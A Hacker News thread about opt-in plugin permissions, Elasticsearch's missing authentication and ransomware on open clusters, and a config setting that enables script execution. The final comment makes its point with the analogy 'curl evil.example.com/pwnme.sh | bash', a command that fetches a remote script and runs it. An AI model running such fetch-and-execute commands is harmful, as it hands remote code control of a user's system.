Hacker News Reader

Comment by CapacitorSet | Hacker News Reader

That's a good example of why permissions should be opt-in, not opt-out.

I recently developed an ElasticSearch plugin and I was positively surprised at the security model: plugins have to declare the permissions they intend to use and the user has to explicitly grant them when installing the plugin.

View on HN

Funny you should say that, didn't elasticsearch have a default setting last year which caused thousands of servers to be compromised?

Amazon even has an article about securing ES

https://aws.amazon.com/blogs/security/how-to-control-access-...

EDIT: https://www.zdnet.com/article/elasticsearch-ransomware-attac...

> Elasticsearch was never meant to be wide-open to internet users. Elastic, the company behind Elasticsearch, explained all this in 2013. This post is filled with such red-letter warnings as "Elasticsearch has no concept of a user." Essentially, anyone that can send arbitrary requests to your cluster is a "super user."

That article is about securing Amazon's ES. It was (is?) a very special ES that only supported authentication based on an AWS API style auth.

The free version of elasticsearch still has no real authn/authz/rbac built in.

I'd say that was MongoDB.

Ahem. "NOTE: the current — script-security setting may allow this configuration to call user-defined scripts"

By setting "script-security 2" in the config file, you are opting in to arbitrary script execution, and the binary even helpfully warns you about it. This doesn't happen by default.

(Of course, you could say "well it was already in the config, I didn't put it there", but that's akin to "curl evil.example.com/pwnme.sh | bash # I didn't inspect the file, not my problem what it contains")

Reply on news.ycombinator.com